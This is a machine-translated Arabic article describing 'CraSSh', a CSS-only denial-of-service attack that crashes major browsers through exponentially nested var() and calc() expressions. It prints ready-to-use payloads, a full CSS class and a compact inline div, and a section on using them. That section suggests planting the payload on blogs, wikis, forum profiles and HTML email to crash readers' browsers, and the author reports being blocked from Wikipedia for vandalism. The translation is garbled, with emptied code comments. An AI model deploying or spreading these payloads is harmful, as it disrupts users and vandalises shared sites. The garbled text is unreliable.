CraSSh: كسر جميع المتصفحات الحديثة مع حسابات CSS

كاتب المقال: قنسطنطين سافونوف

لا أريد قراءة هذا الثرثرة التقنية. لقد انخفض المتصفح الخاص بي للتو.

ما هو CraSSh


CraSSh هو هجوم DoS إعلاني محض عبر المستعرض يستند إلى سوء التعامل مع الدالات المتداخلة var() و calc() المتداخلة في المتصفحات الحديثة.

يعمل CraSSh في جميع المتصفحات الرئيسية على أجهزة سطح المكتب والأجهزة المحمولة:

  • محرك WebKit / Blink - Chrome و Opera و Safari وحتى Samsung Internet على أجهزة التلفزيون الذكية والثلاجات.
    • تتأثر أيضًا Android WebView و iOS UIWebView ، أي أنه يمكنك تعطل أي تطبيق باستخدام مستعرض مضمن.
  • على محرك Gecko - Firefox وشوكاته ، مثل متصفح Tor.
    • لم تبدأ المؤازرة على أي من أجهزتي ، لذلك لم أختبرها.
  • على محرك EdgeHTML - Edge على Windows ، WebView على تطبيقات UWP (هل يستخدمها أي شخص على الإطلاق؟)

لا يتأثر متصفح IE ، لأنه لا يدعم الوظائف التي يستند إليها الهجوم ، لكن مستخدميه لديهم العديد من المشكلات الخاصة بهم (ربما يمكن تدمير هذا المتصفح بطرق أخرى - تقريبًا.) .

كيف يعمل؟


فكرة CraSSh هي الحصول على متصفح لحساب خاصية CSS مع مكالمات متغيرة متداخلة في وقت الأسي واستخدام ذاكرة ضخمة.

يعتمد الهجوم على ثلاث ميزات لـ CSS:

متغيرات CSS ( الخصائص المخصصة و var () )

إنها تتيح لك التصريح: تعيين وقراءة المتغيرات:

 .variables { --variable: 1px; /* declare some variable */ height: var(--variable); /* read the previously declared variable */ } 


لا تسمح المتغيرات بالتكرار (على الرغم من وجود خطأ في WebKit والذي تسبب في تكرار غير محدود) أو حلقات ، ولكن يمكن تعريفها على أنها

تعبيرات calc ()

تسمح لك التعبيرات calc () بإجراء بعض العمليات الحسابية الأساسية عند وصف القواعد ، على سبيل المثال ، 'width: calc(50% - 10px)' .

يسمح لك calc() بالإشارة إلى المتغيرات واستخدام قيم متعددة في تعبير واحد:

 .calc { --variable: 1px; /* declare a constant */ height: calc(var(--variable) + var(--variable)); /* access --variable twice */ } 


هذا يجعل من الممكن:

  • زيادة خطية الحسابات في كل تعبير calc() عن طريق إضافة إشارات إلى المتغيرات السابقة ؛
  • زيادة أضعافا مضاعفة التعقيد مع كل إعلان متغير مع تعبير calc() يشير إلى المتغيرات المحسوبة الأخرى:

 .calc_multiple { --variable-level-0: 1px; /*  */ --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); /* 2   */ --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); /* 2   , 4   */ /* ...    */ --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); /* 2   , 2 ^ n   */ } 


يبدو أنه يجب حسابه على مدار الأس ، لكن المتصفحات الحديثة أكثر ذكاءً ، لذلك عادةً ما تحسب قيم المتغيرات مرة واحدة ، مما يقلل من التعقيد إلى الخطي. الحيلة هي أن التخزين المؤقت للقيم المتغيرة لا يحدث إذا كان

معنى غير متجانسة

من الناحية الفنية ، هذا جزء من calc() ، ولكنه يستحق الإشارة بشكل خاص. يحتوي المتغير غير المتجانس على كل من الوحدات المطلقة والنسبية. لا يمكن أن تكون:

  • يتم حسابها كقيمة مطلقة ومشاركتها من قبل مختلف التطبيقات للعناصر المختلفة ، لأنها تعتمد على خصائص العنصر الهدف (الوحدات '%' / 'em' ) ؛
  • يتم احتسابها كقيمة مطلقة في تطبيق واحد ، لأنه في بعض الحالات سيؤدي ذلك إلى تراكم أخطاء التقريب التي تسبب إزاحة بكسلات فرعية غريبة تنتهك المخططات المعقدة (هل لديك 12 عمودًا ، كل 1/12 من عرض الشاشة؟ لا حظ ، رفيق ، سيجتمعون في صف جديد أو ترك فجوة أخرق في النهاية).

وبالتالي ، يتم إعادة حساب هذه القيمة في كل مرة:

 .non_cached { --const: calc(50% + 10px); /*  (50% + 10px) */ --variable: calc(var(--const) + var(--const)); /* -     */ width: var(--variable); /*    */ } 

بالنسبة للنقطة الثانية ، فإن معظم المتصفحات تقوم ببساطة بتضمين المتغيرات المتداخلة بقيمة غير متجانسة في تعبير واحد لتجنب أخطاء التقريب:

 .mixed { --mixed:calc(1% + 1px); /*   */ --mixed-reference: calc(var(--mixed) + var(--mixed)); /*      */ --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); /*     */ --mixed-reference-computes-as: calc(2% + 2px); /*  ,        */ } 

تخيل أن هناك الملايين (أو المليارات) من العناصر في التعبير ... يحاول محرك CSS تخصيص عدة غيغابايت من ذاكرة الوصول العشوائي ، وتقليل التعبير ، وإضافة معالجات الأحداث بحيث يمكن حساب الخصائص عندما يتغير شيء ما. في النهاية ، يحدث هذا في مرحلة معينة.

لذلك ، بدا CraSSh الأصلي:

 .crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); /*   */ --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); /* 2  */ --level-2: calc(var(--level-1) + var(--level-1)); /* 4  */ --level-3: calc(var(--level-2) + var(--level-2)); /* 8  */ --level-4: calc(var(--level-3) + var(--level-3)); /* 16  */ --level-5: calc(var(--level-4) + var(--level-4)); /* 32  */ --level-6: calc(var(--level-5) + var(--level-5)); /* 64  */ --level-7: calc(var(--level-6) + var(--level-6)); /* 128  */ --level-8: calc(var(--level-7) + var(--level-7)); /* 256  */ --level-9: calc(var(--level-8) + var(--level-8)); /* 512  */ --level-10: calc(var(--level-9) + var(--level-9)); /* 1024  */ --level-11: calc(var(--level-10) + var(--level-10)); /* 2048  */ --level-12: calc(var(--level-11) + var(--level-11)); /* 4096  */ --level-13: calc(var(--level-12) + var(--level-12)); /* 8192  */ --level-14: calc(var(--level-13) + var(--level-13)); /* 16384  */ --level-15: calc(var(--level-14) + var(--level-14)); /* 32768  */ --level-16: calc(var(--level-15) + var(--level-15)); /* 65536  */ --level-17: calc(var(--level-16) + var(--level-16)); /* 131072  */ --level-18: calc(var(--level-17) + var(--level-17)); /* 262144  */ --level-19: calc(var(--level-18) + var(--level-18)); /* 524288  */ --level-20: calc(var(--level-19) + var(--level-19)); /* 1048576  */ --level-21: calc(var(--level-20) + var(--level-20)); /* 2097152  */ --level-22: calc(var(--level-21) + var(--level-21)); /* 4194304  */ --level-23: calc(var(--level-22) + var(--level-22)); /* 8388608  */ --level-24: calc(var(--level-23) + var(--level-23)); /* 16777216  */ --level-25: calc(var(--level-24) + var(--level-24)); /* 33554432  */ --level-26: calc(var(--level-25) + var(--level-25)); /* 67108864  */ --level-27: calc(var(--level-26) + var(--level-26)); /* 134217728  */ --level-28: calc(var(--level-27) + var(--level-27)); /* 268435456  */ --level-29: calc(var(--level-28) + var(--level-28)); /* 536870912  */ --level-30: calc(var(--level-29) + var(--level-29)); /* 1073741824  */ --level-final: calc(var(--level-30) + 1px); /* 1073741824  */ /* ^        ->   -  */ border-width: var(--level-final); /* <-    */ /*     border-width,   style (=  ) */ border-style: solid; } 

 <div class="crassh">    ,      CSS     CraSSh </div> 

وإليكم الإصدار المدمج في أقل من 1000 حرف (ميدياويكي للمظاهرة).

 <div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div> 

كيفية استخدامها


بالإضافة إلى إبعاد المستخدمين عن موقعهم أو مدونته على منصة تتيح الوصول الكامل إلى HTML ، مثل Tumblr ( مثال مع تعطل المتصفح ) أو LiveJournal ( مثال مع تعطل المتصفح ) ، يتيح لك CraSSh:

  • قم بتقسيم واجهة المستخدم على صفحات الموقع التي تخضع لسيطرتك وتسمح لك بتحديد CSS التعسفي ، دون حتى توفير قوالب HTML. تمكنت من كسر MyAnimeList ( مثال مع تعطل المتصفح ). لا يتأثر رديت بهذا الهجوم لأن المحلل اللغوي لا يدعم متغيرات CSS.
  • تحطيم واجهات المستخدم على الصفحات العامة القابلة للكتابة والتي يمكن الوصول إليها للجمهور والتي تسمح لك بتضمين بعض علامات HTML مع أنماط مضمنة. في ويكيبيديا ، تم حظر حسابي بسبب التخريب ، على الرغم من أنني نشرت مثالًا به عطل في المتصفح على صفحتي الشخصية. يؤثر الهجوم على معظم المشروعات المستندة إلى MediaWiki. من حيث المبدأ ، لم يعد من الممكن استعادة الصفحة المقطوعة من خلال واجهة المستخدم.
  • تسبب عملاء البريد الإلكتروني الذي يدعم HTML

    • هذا أمر صعب للغاية لأن عملاء البريد الإلكتروني يقومون بإزالة / تقليل HTML وعادةً لا يدعمون ميزات CSS الحديثة التي يستخدمها CraSSh.
    • CraSSh يعمل في

      • Samsung Mail لنظام Android
    • CraSSh لا يعمل في

      • Outlook (الويب)
      • Gmail (الويب)
      • Gmail (Android)
      • Yahoo (الويب)
      • ياندكس (الويب)
      • بروتونميل (الويب)
      • Zimbra (الإنترنت ، التثبيت دون الاتصال بالإنترنت)
      • بريد ويندوز (ويندوز واضح)
    • يجب أن تعمل في

      • Outlook for Mac (داخليًا يستخدم Webkit)
    • البعض الآخر لم تختبر.
  • أنا فقط حصلت على فكرة مرضية أن CraSSh يمكن استخدامها ضد البوتات على أساس CEF / PhantomJS. يمكن للموقع الذي تمت مهاجمته حقن رمز CraSSh برؤوس ( مثل هنا ) ، وعدم عرض الخطأ المعتاد 403. IIRC ، تتم معالجة الأخطاء بشكل مختلف في محركات مضمنة ، وبالتالي

    • قد يتسبب هذا في تعطل برنامج الروبوت (لا يتوقع أحد تجاوز سعة مكدس أو شيء في المستعرض مقطوعة الرأس)
    • من الصعب للغاية تصحيح الأخطاء ، حيث إنه لا يظهر حتى في نص الإجابة ، والذي من المرجح أن يذهب إلى السجلات


لماذا يتم ذلك


  • تذكر أن لينوس آخر ؟

    يبدو أن عالم أمن تكنولوجيا المعلومات قد وصل إلى مستوى جديد.

    إذا كنت تعمل بأمان واعتقدت أن لديك ضميرًا ، فأعتقد أنه يمكنك الكتابة:

    "لا ، حقا ، أنا لست عاهرة. بصراحة ، بصراحة "

    على بطاقة عمله. اعتدت أن أظن أن الصناعة بأكملها فاسدة ، لكن هذا أمر مثير للسخرية بالفعل.

    في أي نقطة يعترف رجال الأمن أنهم يحبون لفت الانتباه إلى أنفسهم؟

    لقد ذهبت إلى أبعد من ذلك وقمت بإنشاء موقع كامل مخصص لأخطاء بسيطة ، لأن متعة العمل حتى الساعة الرابعة صباحًا والاهتمام بالنتائج التي تحققت هي الأشياء القليلة التي تمنعني من الاكتئاب والغطس على هذا الرصيف الجميل أمام المكتب.
  • بالإضافة إلى ذلك ، أكره الواجهة الأمامية ، التي تعد جزءًا من وظيفتي كمطور مطور بالكامل ، وهذه الأشياء تساعدني على الاسترخاء قليلاً.

أشياء مماثلة


أشارك الآن في مشروع مذهل ، سنتحدث عنه لاحقًا. تابعنا على تويتر .

شكر خاص


Source: https://habr.com/ru/post/ar431656/


All Articles